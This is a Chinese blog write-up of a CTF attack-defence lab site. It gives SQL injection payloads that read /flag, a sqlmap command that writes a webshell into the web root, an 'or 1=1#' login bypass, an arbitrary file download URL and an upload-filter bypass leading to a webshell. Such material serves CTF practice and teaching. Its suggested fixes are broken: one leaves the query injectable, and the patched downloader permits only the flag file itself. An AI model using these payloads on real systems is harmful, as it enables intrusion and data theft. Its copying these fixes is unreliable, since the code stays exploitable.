还在加载 请稍等一下辣ヾ(≧▽≦*)o . . .

CTF-AWD-Yunnan_1


前言

需要提前安装好AWD👉个人AWD的安装


一.搜索框SQL注入

通关搜索框,发现有注入逻辑,下图👇

根据逻辑可以写出payload如下,在搜索框输入即可获得flag

aa%' union select 1,load_file('/flag'),3#

1.SQLMAP注入写入文件

这个方法是偶尔看见的突然感觉有用,在此记录一下,SQLMAP的–file-write和–file-dest可以直接写入一句话木马,下面shell.php是放在sqlmap下面的一句话木马文件,会放在/var/www/html/下的shell.php里面去。

python sqlmap.py -r 1.txt --file-write="shell.php" --file-dest="/var/www/html/shell.php"

然后直接访问用蚁剑连接即可

如何防护

目录下面的sqlgunsearch.php,源码如下,最简单的修复方式就是把echo输出逻辑的那个行删掉

define('GUY','true');
require 'common.inc.php';
global $_system;

if(isset($_POST['key'])){
	$_key=trim($_POST['key']);
}else{
	echo '<script type="text/javascript">alert("非法访问!");location.href="index.php";</script>';
}

if(isset($_GET['page'])){
	$_page=$_GET['page'];
	if(empty($_page)|| !is_numeric($_page)||$_page<0|| ($_page>0 && $_page<1)){
		$_page=1;
	}else{
		$_page=intval($_page);
	}	
}else{
	$_page=1;
}
$_pagenums=$_system['pagenums'];
$_pageopen=($_page-1)*$_pagenums;
echo "select id from news where title like '%$_key%'";
$_result=mysql_query("select id from news where title like '%$_key%'");
$_nums=mysql_num_rows($_result);
$_pages=ceil($_nums/$_pagenums);
$_results=mysql_query("select id,title,date from news  where title like '%$_key%' order by date DESC limit $_pageopen,$_pagenums");

?>

二.后台SQL注入

代码审计的时候在发现了后台路径

注入数据包如下👇

POST /sqlgunadmin/login.php?action=login HTTP/1.1
Host: 192.168.1.25:8801
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://192.168.1.25:8801
Connection: close
Referer: http://192.168.1.25:8801/sqlgunadmin/login.php
Cookie: PHPSESSID=a1a8ana5oci4uib331h2vo5mn6
Upgrade-Insecure-Requests: 1

admin=1&password=1&yzm=55b5

SQLMAP语句

python sqlmap.py -r 1.txt --dbs

源码如下,根据SQL语句PHP万能密码应该是这样的admin}’ or 1=1#

$_result=@mysql_query("select * from admin where admin='{$_html[admin]}' and password='{$_html['password']}'")or die('登录错误');

三.任意文件下载

登录进去后台,账户密码都是admin,找到如下图位置👇,反正就是怎么点他都不下载。

然后审计后台文件,发现一个叫做downlog.php的文件,就和他名字一下用来下载日志的,联想和上图对应,下面是源代码👇,第一个参数必须要为down然后第二个参数,是要传输路径,然后fopen打开读取,由此,payload应该是http://192.168.1.25:8801/sqlgunadmin/downlog.php?downlog=down&filepath=/flag,可以下载flag文件

<?php
    if($_GET["downlog"]=="down"){
        if(isset($_GET["filepath"])){
            $file_path=$_GET["filepath"];
            $fp=fopen($file_path,"r");  
            $file_size=filesize($file_path);  
            //下载文件需要用到的头  
            Header("Content-type: application/octet-stream");  
            Header("Accept-Ranges: bytes");   
            Header("Accept-Length:".$file_size);   
            Header("Content-Disposition: attachment; filename=log.txt");   
            $buffer=1024;   
            $file_count=0;   
            //向浏览器返回数据   
            while(!feof($fp) && $file_count<$file_size){   
                $file_con=fread($fp,$buffer);   
                $file_count+=$buffer;   
                echo $file_con;   
            }  
            fclose($fp);
        }
    }
?>

怎么防护,防护我感觉也挺简单的,加一个if语句就可以了,判断是否为正确的路径即可,如果不是那么就是不行,修改后代码如下

<?php
    if($_GET["downlog"]=="down"){
        if(isset($_GET["filepath"])){
            $file_path=$_GET["filepath"];
            if($file_path==="/flag"){
                $fp=fopen($file_path,"r");  
                $file_size=filesize($file_path);  
                //下载文件需要用到的头  
                Header("Content-type: application/octet-stream");  
                Header("Accept-Ranges: bytes");   
                Header("Accept-Length:".$file_size);   
                Header("Content-Disposition: attachment; filename=log.txt");   
                $buffer=1024;   
                $file_count=0;   
                //向浏览器返回数据   
                while(!feof($fp) && $file_count<$file_size){   
                    $file_con=fread($fp,$buffer);   
                    $file_count+=$buffer;   
                    echo $file_con;   
                }  
                fclose($fp);
            }else{
                echo "小臂崽子你不能看flag哈哈哈哈";
            }
            
        }
    }
?>

四.文件上传漏洞

在后台的新闻发布管理里面有上传文件的操作,如下图👇。

发现是非常简单的js过滤啊,直接BP抓包改包就过了,BP抓包发现图片的路径是在 /sqlgunadmin/kindedit/attached/20220316/20220316135333_51121.php里面啊,然后直接蚁剑连接即可



文章作者: Kenken
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Kenken !
评论
  目录